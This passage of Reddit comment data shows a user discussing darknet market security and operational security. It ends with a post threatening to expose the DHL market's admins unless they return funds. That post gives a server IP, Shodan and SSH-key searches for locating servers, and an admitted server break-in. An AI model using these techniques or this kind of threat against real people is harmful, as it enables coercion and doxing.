5623 "body": "So your points boil down to:\n\n1. i2p makes all nodes route\n2. Tor was designed for clearnet\n\nFirst - Tor has chosen to not make all nodes route. That is a limit of the target audience - people who are on poor connections or with little upstream bandwidth in countries all over the world. There is no reason why a user can't switch it on.\n\nEven better - Tor traffic is TLS, so it's just web traffic. It also has extensive support for obfuscation protocols and bridges (which are heavily used in China, etc.)\n\nTor *was* designed for exit traffic and hidden services were added later - but that isn't really saying much\n\nThe main advantages of Tor:\n\n1. a **much** larger network - these mixnets depend on the concept of hiding in a crowd. the 'crowd' on tor is 100x larger than any other\n1. tor has **a lot** more academic and security scrutiny\n1. i2p is becoming less supported, not more - it has been removed from Tails \n1. the use case for DNM users is boot up your machine, login, do your business then logoff and shutdown. i2p isn't suited to that since it needs to bootstrap the DHT and all your benefits of running a node are moot in this case\n\nTor has weaknesses and if you're running a hidden service you *really* need to know what you're doing - but lets not pretend that switching to another network that relies on similar concepts and is vulnerable to similar attacks, such as Sybil, is going to solve anything ..",
5624 "can_gild": true,
5625 "can_mod_post": false,
5626 "collapsed": false,
5627 "collapsed_reason": null,
5628 "created_utc": 1500708420,
5629 "id": "dkk5flb",
5630 "is_submitter": false,
5631 "link_id": "t3_6oocii",
5632 "parent_id": "t1_dkjolbc",
5633 "score": 2,
5634 "stickied": false,
5635 "subreddit": "DarkNetMarkets",
5636 "subreddit_id": "t5_2yt0h"
5637 },
5638 {
5639 "approved_at_utc": null,
5640 "author": "t0mcheck",
5641 "author_flair_css_class": null,
5642 "author_flair_text": null,
5643 "banned_at_utc": null,
5644 "body": "> and the guy had pw in plain text. NO ONE DOES THAT.\n\nYou don't understand the forensics - what they mean is via FBI DMA access on the laptop, which was logged in, they scraped passwords from memory \"in plain text\"\n\nThis is a very common post-arrest forensic tool and method and almost always reveals mounted encrypted drive passwords, password manager passwords, etc.",
5645 "can_gild": true,
5646 "can_mod_post": false,
5647 "collapsed": false,
5648 "collapsed_reason": null,
5649 "created_utc": 1500636217,
5650 "id": "dkimepn",
5651 "is_submitter": false,
5652 "link_id": "t3_6on5kd",
5653 "parent_id": "t1_dkilr7x",
5654 "score": 4,
5655 "stickied": false,
5656 "subreddit": "DarkNetMarkets",
5657 "subreddit_id": "t5_2yt0h"
5658 },
5659 {
5660 "approved_at_utc": null,
5661 "author": "t0mcheck",
5662 "author_flair_css_class": null,
5663 "author_flair_text": null,
5664 "banned_at_utc": null,
5665 "body": "Wait - is your story that exceptions and debug info aren't important or are?",
5666 "can_gild": true,
5667 "can_mod_post": false,
5668 "collapsed": false,
5669 "collapsed_reason": null,
5670 "created_utc": 1500635418,
5671 "id": "dkim1qr",
5672 "is_submitter": false,
5673 "link_id": "t3_6ojwht",
5674 "parent_id": "t1_dkiltfu",
5675 "score": 1,
5676 "stickied": false,
5677 "subreddit": "DarkNetMarkets",
5678 "subreddit_id": "t5_2yt0h"
5679 },
5680 {
5681 "approved_at_utc": null,
5682 "author": "t0mcheck",
5683 "author_flair_css_class": null,
5684 "author_flair_text": null,
5685 "banned_at_utc": null,
5686 "body": "I know you wouldn't - hence the tag i've given you.",
5687 "can_gild": true,
5688 "can_mod_post": false,
5689 "collapsed": false,
5690 "collapsed_reason": null,
5691 "created_utc": 1500634461,
5692 "id": "dkiln67",
5693 "is_submitter": false,
5694 "link_id": "t3_6ojwht",
5695 "parent_id": "t1_dkighb0",
5696 "score": 1,
5697 "stickied": false,
5698 "subreddit": "DarkNetMarkets",
5699 "subreddit_id": "t5_2yt0h"
5700 },
5701 {
5702 "approved_at_utc": null,
5703 "author": "t0mcheck",
5704 "author_flair_css_class": null,
5705 "author_flair_text": null,
5706 "banned_at_utc": null,
5707 "body": "> a darknet market with social network features.\n\nthat is a terrible idea",
5708 "can_gild": true,
5709 "can_mod_post": false,
5710 "collapsed": false,
5711 "collapsed_reason": null,
5712 "created_utc": 1500615839,
5713 "id": "dkie99z",
5714 "is_submitter": false,
5715 "link_id": "t3_6ojzk6",
5716 "parent_id": "t3_6ojzk6",
5717 "score": 5,
5718 "stickied": false,
5719 "subreddit": "DarkNetMarkets",
5720 "subreddit_id": "t5_2yt0h"
5721 },
5722 {
5723 "approved_at_utc": null,
5724 "author": "t0mcheck",
5725 "author_flair_css_class": null,
5726 "author_flair_text": null,
5727 "banned_at_utc": null,
5728 "body": "> they carried this all out over the past month\n\nread the indictments this didn't happen over a month\n\n> These markets were VERY secure \n\nlol\n\ntagged you as clueless and reckless",
5729 "can_gild": true,
5730 "can_mod_post": false,
5731 "collapsed": false,
5732 "collapsed_reason": null,
5733 "created_utc": 1500615709,
5734 "id": "dkie6yo",
5735 "is_submitter": false,
5736 "link_id": "t3_6ojwht",
5737 "parent_id": "t1_dki14ry",
5738 "score": 2,
5739 "stickied": false,
5740 "subreddit": "DarkNetMarkets",
5741 "subreddit_id": "t5_2yt0h"
5742 },
5743 {
5744 "approved_at_utc": null,
5745 "author": "t0mcheck",
5746 "author_flair_css_class": null,
5747 "author_flair_text": null,
5748 "banned_at_utc": null,
5749 "body": "> Hansa was completely secure as far as I could find.\n\nYou didn't look very hard - that site was spraying detailed exception stacks whenever you asked it anything.\n\nThere was an exception message in the payment error\n",
5750 "can_gild": true,
5751 "can_mod_post": false,
5752 "collapsed": false,
5753 "collapsed_reason": null,
5754 "created_utc": 1500613023,
5755 "id": "dkicr3l",
5756 "is_submitter": false,
5757 "link_id": "t3_6ojwht",
5758 "parent_id": "t1_dkhzbyh",
5759 "score": 1,
5760 "stickied": false,
5761 "subreddit": "DarkNetMarkets",
5762 "subreddit_id": "t5_2yt0h"
5763 },
5764 {
5765 "approved_at_utc": null,
5766 "author": "t0mcheck",
5767 "author_flair_css_class": null,
5768 "author_flair_text": null,
5769 "banned_at_utc": null,
5770 "body": "Needs to happen",
5771 "can_gild": true,
5772 "can_mod_post": false,
5773 "collapsed": false,
5774 "collapsed_reason": null,
5775 "created_utc": 1500568976,
5776 "id": "dkhc52o",
5777 "is_submitter": false,
5778 "link_id": "t3_6ofhcd",
5779 "parent_id": "t3_6ofhcd",
5780 "score": 1,
5781 "stickied": false,
5782 "subreddit": "DarkNetMarkets",
5783 "subreddit_id": "t5_2yt0h"
5784 },
5785 {
5786 "approved_at_utc": null,
5787 "author": "t0mcheck",
5788 "author_flair_css_class": null,
5789 "author_flair_text": null,
5790 "banned_at_utc": null,
5791 "body": "> I find it hard to believe this guy made some of the same simple mistakes that ross made.\n\nhe made these mistakes before Ross was arrested",
5792 "can_gild": true,
5793 "can_mod_post": false,
5794 "collapsed": false,
5795 "collapsed_reason": null,
5796 "created_utc": 1500567029,
5797 "id": "dkha7yx",
5798 "is_submitter": false,
5799 "link_id": "t3_6ogj7g",
5800 "parent_id": "t1_dkh9ads",
5801 "score": 2,
5802 "stickied": false,
5803 "subreddit": "DarkNetMarkets",
5804 "subreddit_id": "t5_2yt0h"
5805 },
5806 {
5807 "approved_at_utc": null,
5808 "author": "t0mcheck",
5809 "author_flair_css_class": null,
5810 "author_flair_text": null,
5811 "banned_at_utc": null,
5812 "body": "He was doxed before law enforcement ever got involved. It was someone with the dox who sent it to them. ",
5813 "can_gild": true,
5814 "can_mod_post": false,
5815 "collapsed": false,
5816 "collapsed_reason": null,
5817 "created_utc": 1500567012,
5818 "id": "dkha7fn",
5819 "is_submitter": false,
5820 "link_id": "t3_6ogj7g",
5821 "parent_id": "t1_dkh7c26",
5822 "score": 7,
5823 "stickied": false,
5824 "subreddit": "DarkNetMarkets",
5825 "subreddit_id": "t5_2yt0h"
5826 },
5827 {
5828 "approved_at_utc": null,
5829 "author": "t0mcheck",
5830 "author_flair_css_class": null,
5831 "author_flair_text": null,
5832 "banned_at_utc": null,
5833 "body": "and somehow this wasn't a stickied story in this sub in big bold letters telling everybody to stay away from Hansa - as I [pointed out in a prev comment](https://www.reddit.com/r/DarkNetMarkets/comments/6obvvj/the_expected_massive_migration_to_hansa_is_not/dkgqda9/)",
5834 "can_gild": true,
5835 "can_mod_post": false,
5836 "collapsed": false,
5837 "collapsed_reason": null,
5838 "created_utc": 1500566932,
5839 "id": "dkha4qe",
5840 "is_submitter": false,
5841 "link_id": "t3_6ogj7g",
5842 "parent_id": "t1_dkh70il",
5843 "score": 2,
5844 "stickied": false,
5845 "subreddit": "DarkNetMarkets",
5846 "subreddit_id": "t5_2yt0h"
5847 },
5848 {
5849 "approved_at_utc": null,
5850 "author": "t0mcheck",
5851 "author_flair_css_class": null,
5852 "author_flair_text": null,
5853 "banned_at_utc": null,
5854 "body": "y'all about to find out the hard way that this isn't true and that the multisig obsession around here of it being hack, leak takedown etc. proof is not true",
5855 "can_gild": true,
5856 "can_mod_post": false,
5857 "collapsed": false,
5858 "collapsed_reason": null,
5859 "created_utc": 1500561485,
5860 "id": "dkh5hlh",
5861 "is_submitter": false,
5862 "link_id": "t3_6obvvj",
5863 "parent_id": "t1_dkgy4eu",
5864 "score": 1,
5865 "stickied": false,
5866 "subreddit": "DarkNetMarkets",
5867 "subreddit_id": "t5_2yt0h"
5868 },
5869 {
5870 "approved_at_utc": null,
5871 "author": "t0mcheck",
5872 "author_flair_css_class": null,
5873 "author_flair_text": null,
5874 "banned_at_utc": null,
5875 "body": "That doesn't mean Tor is insecure - it just means poor app developers continue developing mediocre darknet market apps with security vulnerabilities.\n\nEven today Hansa was displaying exception traces on the site - yet the people here worshipped everything they did or put out. That is such a basic error that it is laughable.\n\nLikewise with Alphabay - being able to iterate users, read private messages, etc. should have been a hint ",
5876 "can_gild": true,
5877 "can_mod_post": false,
5878 "collapsed": false,
5879 "collapsed_reason": null,
5880 "created_utc": 1500561007,
5881 "id": "dkh55i1",
5882 "is_submitter": false,
5883 "link_id": "t3_6ogg6k",
5884 "parent_id": "t1_dkh4g36",
5885 "score": 3,
5886 "stickied": false,
5887 "subreddit": "DarkNetMarkets",
5888 "subreddit_id": "t5_2yt0h"
5889 },
5890 {
5891 "approved_at_utc": null,
5892 "author": "t0mcheck",
5893 "author_flair_css_class": null,
5894 "author_flair_text": null,
5895 "banned_at_utc": null,
5896 "body": "> what other types of 2fa would be feasible on dnms?\n\nTOPT, U2F, any future tech. Technically PGP isn't 2FA since it isn't hardware isolated from the first factor. \n\n> yes every user checking every market page they load\n\nUsers don't check it - the browser does, between CSP and subresource integrity \n\n> the new criteria is mostly just things that users expect any way [multisig, 2fa, . . .] \n\nis it? how can you claim that when there have never been more multisig users than escrow or FE users .. \n\nworse is this list is geared to a very specific type of market - basically one that reimplements Hansa almost feature for feature. it leaves no room for innovation or improvement. the next Ross Ulbricht could be out there right now building a second generation market using completely new tech and it would be ignored by this list ",
5897 "can_gild": true,
5898 "can_mod_post": false,
5899 "collapsed": false,
5900 "collapsed_reason": null,
5901 "created_utc": 1500536146,
5902 "id": "dkgta3t",
5903 "is_submitter": false,
5904 "link_id": "t3_6oaqib",
5905 "parent_id": "t1_dkgsw50",
5906 "score": 3,
5907 "stickied": false,
5908 "subreddit": "DNMSuperlist",
5909 "subreddit_id": "t5_3itnw"
5910 },
5911 {
5912 "approved_at_utc": null,
5913 "author": "t0mcheck",
5914 "author_flair_css_class": null,
5915 "author_flair_text": null,
5916 "banned_at_utc": null,
5917 "body": "A blanket requirement on multi-sig doesn't work because there are different types of multi-sig. This could encourage markets to put together very weak versions of multi-sig where there is no benefit at all (ie. 2 of 2 with one part done on the server and the second part done automatically on order)\n\nlikewise 2FA PGP - you'd prefer any other 2FA since PGP signing can't be denied \n\nNo javascript - there are ways of securely embedding authorized Javascript. the reason 'no javascript' became a mantra is to defend against adversary server control injecting malicious code. everybody seemed to forget that in the noise of 'no javascript' \n\nYou can't delete order details with multisig since the order remains on the blockchain forever (so technically if you were to fully abide to these guidelines, there would be zero markets listed)\n\nNot sure why this became so overcomplicated - just a wiki with a list of sites is fine, even the warnings were controversial. This feels like it has taken it way too far and it more about personal opinions of mods rather than anything that is more constructive than a full equal list ",
5918 "can_gild": true,
5919 "can_mod_post": false,
5920 "collapsed": false,
5921 "collapsed_reason": null,
5922 "created_utc": 1500532120,
5923 "edited": 1500532414,
5924 "id": "dkgrjsz",
5925 "is_submitter": false,
5926 "link_id": "t3_6oaqib",
5927 "parent_id": "t3_6oaqib",
5928 "score": 1,
5929 "stickied": false,
5930 "subreddit": "DNMSuperlist",
5931 "subreddit_id": "t5_3itnw"
5932 },
5933 {
5934 "approved_at_utc": null,
5935 "author": "t0mcheck",
5936 "author_flair_css_class": null,
5937 "author_flair_text": null,
5938 "banned_at_utc": null,
5939 "body": "The withdrawl issue is concerning. As is the lack of attention it is getting.Had any other market been down with no withdrawals for 36+ hours it would be top post, stickied with 200+ points",
5940 "can_gild": true,
5941 "can_mod_post": false,
5942 "collapsed": false,
5943 "collapsed_reason": null,
5944 "created_utc": 1500529640,
5945 "id": "dkgqda9",
5946 "is_submitter": false,
5947 "link_id": "t3_6obvvj",
5948 "parent_id": "t3_6obvvj",
5949 "score": 1,
5950 "stickied": false,
5951 "subreddit": "DarkNetMarkets",
5952 "subreddit_id": "t5_2yt0h"
5953 },
5954 {
5955 "approved_at_utc": null,
5956 "author": "t0mcheck",
5957 "author_flair_css_class": null,
5958 "author_flair_text": null,
5959 "banned_at_utc": null,
5960 "body": "what is it?",
5961 "can_gild": true,
5962 "can_mod_post": false,
5963 "collapsed": false,
5964 "collapsed_reason": null,
5965 "created_utc": 1500525023,
5966 "id": "dkgnrz7",
5967 "is_submitter": false,
5968 "link_id": "t3_6obttm",
5969 "parent_id": "t3_6obttm",
5970 "score": 1,
5971 "stickied": false,
5972 "subreddit": "DarkNetMarkets",
5973 "subreddit_id": "t5_2yt0h"
5974 },
5975 {
5976 "approved_at_utc": null,
5977 "author": "t0mcheck",
5978 "author_flair_css_class": null,
5979 "author_flair_text": null,
5980 "banned_at_utc": null,
5981 "body": "You need to be removed as a mod asap. So does /u/CrushOnJenny for first not seeing an issue with what you done, then defending it, and for generally being super unstable. ",
5982 "can_gild": true,
5983 "can_mod_post": false,
5984 "collapsed": false,
5985 "collapsed_reason": null,
5986 "created_utc": 1500524695,
5987 "id": "dkgnktd",
5988 "is_submitter": false,
5989 "link_id": "t3_6odqwl",
5990 "parent_id": "t1_dkgmd5o",
5991 "score": 22,
5992 "stickied": false,
5993 "subreddit": "DarkNetMarkets",
5994 "subreddit_id": "t5_2yt0h"
5995 },
5996 {
5997 "approved_at_utc": null,
5998 "author": "t0mcheck",
5999 "author_flair_css_class": null,
6000 "author_flair_text": null,
6001 "banned_at_utc": null,
6002 "body": "Thats right. This was documented in the most recent Silk Road book where the FBI went to the NSA for help on locating Silk Road and they couldn't even get a meeting. One NSA officer then met the FBI agents off the record and told them they are stretched as it is with their current mandate and wouldn't go near it.\n\nWhen the FBI agents went back again because they were desperate, the NSA employee they knew said again there was nothing he could do but \"if you find a terror link\" that it could get something done ",
6003 "can_gild": true,
6004 "can_mod_post": false,
6005 "collapsed": false,
6006 "collapsed_reason": null,
6007 "created_utc": 1500399271,
6008 "id": "dke0aoc",
6009 "is_submitter": true,
6010 "link_id": "t3_6o0c40",
6011 "parent_id": "t1_dkdzh86",
6012 "score": 1,
6013 "stickied": false,
6014 "subreddit": "DarkNetMarkets",
6015 "subreddit_id": "t5_2yt0h"
6016 },
6017 {
6018 "approved_at_utc": null,
6019 "author": "t0mcheck",
6020 "author_flair_css_class": null,
6021 "author_flair_text": null,
6022 "banned_at_utc": null,
6023 "body": "I missed the line about Silk Road. Interesting, thanks.",
6024 "can_gild": true,
6025 "can_mod_post": false,
6026 "collapsed": false,
6027 "collapsed_reason": null,
6028 "created_utc": 1500381086,
6029 "id": "dkdkp7h",
6030 "is_submitter": true,
6031 "link_id": "t3_6o0c40",
6032 "parent_id": "t1_dkdkc75",
6033 "score": 2,
6034 "stickied": false,
6035 "subreddit": "DarkNetMarkets",
6036 "subreddit_id": "t5_2yt0h"
6037 },
6038 {
6039 "approved_at_utc": null,
6040 "author": "t0mcheck",
6041 "author_flair_css_class": null,
6042 "author_flair_text": null,
6043 "banned_at_utc": null,
6044 "body": "Two ways self-signed can still help:\n\n1. If you trust the certificate the first time you visit Hansa, you'll get a certificate error or notice if you visit an unauthorized version of the site (this relies on the user checking the presence of https)\n\n2. If Hansa setup a CA and had users add it to their Tor Browser",
6045 "can_gild": true,
6046 "can_mod_post": false,
6047 "collapsed": false,
6048 "collapsed_reason": null,
6049 "created_utc": 1500380965,
6050 "id": "dkdkml5",
6051 "is_submitter": false,
6052 "link_id": "t3_6nzqge",
6053 "parent_id": "t1_dkdgli2",
6054 "score": 1,
6055 "stickied": false,
6056 "subreddit": "DarkNetMarkets",
6057 "subreddit_id": "t5_2yt0h"
6058 },
6059 {
6060 "approved_at_utc": null,
6061 "author": "t0mcheck",
6062 "author_flair_css_class": null,
6063 "author_flair_text": null,
6064 "banned_at_utc": null,
6065 "body": "The most interesting part of this is the FBI being the source - they're obviously working on something big and have hit some info that they're comfortable passing onto the Italians.\n\nThis arrest doesn't feel big enough to warrant an FBI investigation - i'm really curious what the source is here (AlphaBay?)",
6066 "can_gild": true,
6067 "can_mod_post": false,
6068 "collapsed": false,
6069 "collapsed_reason": null,
6070 "created_utc": 1500379976,
6071 "id": "dkdk2qj",
6072 "is_submitter": true,
6073 "link_id": "t3_6o0c40",
6074 "parent_id": "t3_6o0c40",
6075 "score": 16,
6076 "stickied": false,
6077 "subreddit": "DarkNetMarkets",
6078 "subreddit_id": "t5_2yt0h"
6079 }
6080 ],
6081 "metadata": {
6082 "execution_time_milliseconds": 129.51,
6083 "results_returned": 371,
6084 "sort_direction": "desc",
6085 "sort_type": "created_utc",
6086 "timed_out": false,
6087 "total_results": 371,
6088
6089 }
6090}
6091
6092
6093
6094 {
6095 "author": "t0mcheck",
6096 "author_flair_css_class": null,
6097 "author_flair_text": null,
6098 "brand_safe": false,
6099 "can_mod_post": false,
6100 "contest_mode": false,
6101 "created_utc": 1502023072,
6102 "domain": "self.DarkNetMarkets",
6103 "edited": 1502096442,
6104 "full_link": "https://www.reddit.com/r/DarkNetMarkets/comments/6ry4n9/dhl_market_security_part_3_operation_return_to/",
6105 "id": "6ry4n9",
6106 "is_self": true,
6107 "is_video": false,
6108 "link_flair_css_class": "mod",
6109 "link_flair_text": "DHL Market Security Part 3 - Operation Return to Sender",
6110 "locked": false,
6111 "num_comments": 249,
6112 "over_18": true,
6113 "permalink": "/r/DarkNetMarkets/comments/6ry4n9/dhl_market_security_part_3_operation_return_to/",
6114 "post_hint": "self",
6115 "preview": {
6116 "enabled": false,
6117 "images": [
6118 {
6119 "id": "163Am6g5n1HT51K2N8iz6UNTP-2qAuE0v5wVKWuaX0A",
6120 "resolutions": [
6121 {
6122 "height": 24,
6123 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fit=crop&crop=faces%2Centropy&arh=2&w=108&s=f5502847d8b8d5fcf2677d63d116f239",
6124 "width": 108
6125 },
6126 {
6127 "height": 48,
6128 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fit=crop&crop=faces%2Centropy&arh=2&w=216&s=d5a86c6f97e614cffda818c0826d6ea9",
6129 "width": 216
6130 },
6131 {
6132 "height": 71,
6133 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fit=crop&crop=faces%2Centropy&arh=2&w=320&s=0a18b90c810772f867a99ec9bcf7dfac",
6134 "width": 320
6135 },
6136 {
6137 "height": 142,
6138 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fit=crop&crop=faces%2Centropy&arh=2&w=640&s=f6106cf4ed0455af0a5381deebaf2c74",
6139 "width": 640
6140 }
6141 ],
6142 "source": {
6143 "height": 196,
6144 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?s=710ffda3602cea5bb0c0c342e9e96727",
6145 "width": 878
6146 },
6147 "variants": {
6148 "nsfw": {
6149 "resolutions": [
6150 {
6151 "height": 24,
6152 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fit=crop&crop=faces%2Centropy&arh=2&w=108&fm=png&blur=600&px=32&s=ff4ac164185f03d49b94aa9623ce1840",
6153 "width": 108
6154 },
6155 {
6156 "height": 48,
6157 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fit=crop&crop=faces%2Centropy&arh=2&w=216&fm=png&blur=600&px=32&s=e52054b3b189e31bea39282f8cd8d132",
6158 "width": 216
6159 },
6160 {
6161 "height": 71,
6162 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fit=crop&crop=faces%2Centropy&arh=2&w=320&fm=png&blur=600&px=32&s=080706ec949683f8e2d4391863f2720d",
6163 "width": 320
6164 },
6165 {
6166 "height": 142,
6167 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fit=crop&crop=faces%2Centropy&arh=2&w=640&fm=png&blur=600&px=32&s=9fa9be00a45d56f7ef254b95c81046e8",
6168 "width": 640
6169 }
6170 ],
6171 "source": {
6172 "height": 196,
6173 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fm=png&blur=600&px=32&s=d59f645781160bb14603569a5ce75732",
6174 "width": 878
6175 }
6176 },
6177 "obfuscated": {
6178 "resolutions": [
6179 {
6180 "height": 24,
6181 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fit=crop&crop=faces%2Centropy&arh=2&w=108&fm=png&blur=600&px=32&s=ff4ac164185f03d49b94aa9623ce1840",
6182 "width": 108
6183 },
6184 {
6185 "height": 48,
6186 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fit=crop&crop=faces%2Centropy&arh=2&w=216&fm=png&blur=600&px=32&s=e52054b3b189e31bea39282f8cd8d132",
6187 "width": 216
6188 },
6189 {
6190 "height": 71,
6191 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fit=crop&crop=faces%2Centropy&arh=2&w=320&fm=png&blur=600&px=32&s=080706ec949683f8e2d4391863f2720d",
6192 "width": 320
6193 },
6194 {
6195 "height": 142,
6196 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fit=crop&crop=faces%2Centropy&arh=2&w=640&fm=png&blur=600&px=32&s=9fa9be00a45d56f7ef254b95c81046e8",
6197 "width": 640
6198 }
6199 ],
6200 "source": {
6201 "height": 196,
6202 "url": "https://i.redditmedia.com/S_rHk5QsLtiKIKvB24LVZ2sLBpeAqj_bD9x2UOCtTA4.png?fm=png&blur=600&px=32&s=d59f645781160bb14603569a5ce75732",
6203 "width": 878
6204 }
6205 }
6206 }
6207 }
6208 ]
6209 },
6210 "retrieved_on": 1502113830,
6211 "score": 182,
6212 "selftext": "# Operation Return To Sender\n\nDHL Admins - we noticed you have dissapeared with all user funds and likely have no plan of returning.\n\nHere is what we want you to do, either:\n\n1. Come back, bring the site back up and allow users to withdraw all their funds\n1. Come back and allow us to provide you with return addresses for user funds which you will then process\n\nWhy would you do this? Because if you don't we will be publishing a series of posts with all of the information we found on your server and other correlated information that can be used to identify you.\n\nWe are starting this process right now with this post to give you a hint at what is coming next\n\n## Timeline\n\nFirst a DHL timeline. I'm not going to directly reference certain events, this is more left here as a hint.\n\n1. Early-2015: Development on DHL started in early 2015 \n1. 11-Jun-2015: It was [announced here](https://www.reddit.com/r/DarkNetMarkets/comments/39f8p2/market_announcement_darknetheroesleague_dhl/) (DHL-1 created his account the same day) - but that post was removed and noone noticed\n1. 11-Jun-2016: It was [announced properly](https://www.reddit.com/r/DarkNetMarkets/comments/39f8x6/market_announcement_darknetheroesleague_dhl/) here by the DHL-2 \n1. 17-Jun-2015: Synala is released [on bitcointalk](https://bitcointalk.org/index.php?topic=1091814.0)\n1. 21-Jun-2015: It was [added to the superlist](https://www.reddit.com/r/DarkNetMarkets/wiki/superlist?v=1a73d780-1762-11e5-9207-0e64f3ccb04b)\n\n## IP Address and Servers\n\nYou lied in your statement when you said that the location of your server was leaked by an internal employee\n\nAnybody could have located your server at any time by simply [searching for `title:\"Darknet Heroes League\"` in Shodan](https://www.shodan.io/search?query=html%3A%22Darknet+Heroes%22)\n\n[Screenshot](http://image.ibb.co/bQp2ba/dhl_search01.png)\n\nHere is the full [results page for that server](https://www.shodan.io/host/51.15.57.234) also on Shodan\n\n[Screenshot](http://image.ibb.co/fcxoGa/dhl_search02.png)\n\nNote the ssh key. [Search Shodan for that key](https://www.shodan.io/search?query=27%3A4a%3A59%3Ae1%3Acc%3A69%3A39%3Ab5%3A5d%3A80%3Ad7%3Aab%3Aac%3Aba%3Ae7%3A17).\n\n[Screenshot](http://image.ibb.co/jvfm2F/dhl_search03.png)\n\nInteresting.\n\nSince you took down all your onion services at around the same time, they stand out in an index of onion sites. \n\n## Bitcoin\n\nWe have taken a keen interest in DHL's use of Synala.\n\nSynala is an Open Source Bitcoin payment gateway written in PHP. The website is at:\n\nhttp://envrin.com/synala\n\nA key feature of Synala is the offline transaction signing so that the private keys can be kept on a separate machine (even a users desktop!) and then pulled from the server using a (bad) API to be signed and then broadcast.\n\nMost of the features of DHL relating to Bitcoin that they listed as their own are actually features of Synala.\n\nWhat makes Synala most interesting is that it isn't very popular so DHL's use of it stands out.\n\nFirst piece of interesting information we found is that somebody noticed in September of 2015 that DHL was using Synala. There are a few ways an anonymous person could have found that out at that time but we think they found out the same way we did (ie. broke the server)\n\nHere is an interesting [GitHub comment](https://github.com/peterscott78/synala/issues/1) on a Synala repository left by a user with throwaway GitHub username [dhlol](https://github.com/dhlol) (funny)\n\n[Screenshot](http://image.ibb.co/nyJH9v/dhl_search04.png)\n\nThe person who owns the repository attempted to scrub the comment not knowing that GitHub leaves a history of changes.\n\n## DHL Withdraws \n\n**edit** note required anymore - got what we were looking for quickly. thanks everyone.\n\n~~We are asking users of DHL if they want to contribute to send us transaction id's of Bitcoin transactions that you know are withdraws from DHL.~~\n\n~~Not deposits or anything else, just the txid's of withdraws.~~\n\n~~You can do this anonymously and i'll leave contact details below.~~\n\n~~Complete confidentiality - only i'll see it and i'll delete the info and we might not need many.~~\n\n## Fingerprinting Files\n\nRemember Hansa? The operators of that site were found because antivirus and security software provider bitdefender sent a tip to law enforcement.\n\nThe way that works is this: These antivirus programs are setup on users desktops or they're running on a corporate, government or educational network. It is very common to setup antivirus to run on all web traffic as it comes into a network and to scan the files.\n\nMany antivirus companies share signatures of files into a number of different threat research databases.\n\nWhat most people don't know is that these databases end up becoming large repositories of unique files with associated data.\n\nIf you have a unique file that you're accessing on the web, or emailing or on your desktop and it passes through an antivirus gateway there is a good chance it will be logged and mark you out.\n\nDHL had a very unique file on their website. It got caught and scanned by an antivirus company and logged. The log shows the date that it was caught and it was before DHL was announced. The records also contain a lot of information including the IP address it was logged from.\n\n## A Preview of Part 4\n\nComing up. Anybody else notice the DHL handles on this subreddit? It would be a terrible idea to mix business on reddit. It's amazing what slips out in the comments here when you pay attention. \n\nI just spent 30 minutes setting up stylometry tools until I noticed that I didn't need it.\n\n## Credit\n\nDon't credit me with all this - it really is a group effort with a lot of very sharp people messaging me tips and working together. I'm amazed at some of the things that are found and some of the work done. Most don't want to be called out but i'll update as appropriate. \n\n## Contact\n\n**EDIT: Please consider what you pm me here - use email + PGP or ask for XMPP. Chances of those messages staying between the two of us are high** \n\nelectronic letter: [tomcheck at protonmail.com](mailto://tomcheck@protonmail.com)\n\n\n -----BEGIN PGP PUBLIC KEY BLOCK-----\n Comment: GPGTools - https://gpgtools.org\n\n mQENBFmAWeMBCADjZoR/eIrlZU6KmeKiKEuoYI0eKQ3vL5XSLB/LgNeu6h/oIRJ7\n Xw690fzIcfYAiY3U0IjFIzxVoPEEXuEcXi4gSddTl83F7tJu+BbQVoxm8LRzkcaB\n FLBjp91Q2tP61Ak85jC8KW0IN+bBqUkuEGBbtDWkxOrxvZmVzdrgWvv7r5xjbAIw\n SNYye9sJ3QWWdDNcGQuSBpYt83c4Fmep76CdiVZUGSI60t/+F65j116Vofmjc07O\n trn8T/Yc3pdr5wkI4Cxt6OogcGrexK9LIjzbRVWxJPPHs+qW9yngSanykeUutPZ7\n vNPN5jbQ0XZ4wniyFMRx6/hzzb8Sk6C1Qw75ABEBAAG0CXRvbWNoZWNrMokBVAQT\n AQoAPhYhBNldhwyVo3hJOu3o9lqNGW99NTA5BQJZgFnjAhsDBQkDwmcABQsJCAcD\n BRUKCQgLBRYCAwEAAh4BAheAAAoJEFqNGW99NTA5tz4H/20dM6rFw59T2+9a3YIP\n HRbQpTlcFDi7lbzEiw4nuz1pUve4Nhu9lJAKu0PY8c7ll8CnA+bSirpdmiEdnPuL\n 5eGUC0vpyVoMPnbYs8pb/4RVDKDsayGj9FmXSRCCo+99RujacPy9G+DK+bBTPGkn\n cgEvgao4IQIEem3IpVIC6xyvRDp03bakDjqVWjzao6lfWzWCHVxVPP1mJrEIOR+X\n m6AetFsAfwkOh9BWe+9d8/B1KzO2LL+ANqUk8sVZLxwO4eOmfAxfVR9tQ5ndn2PT\n 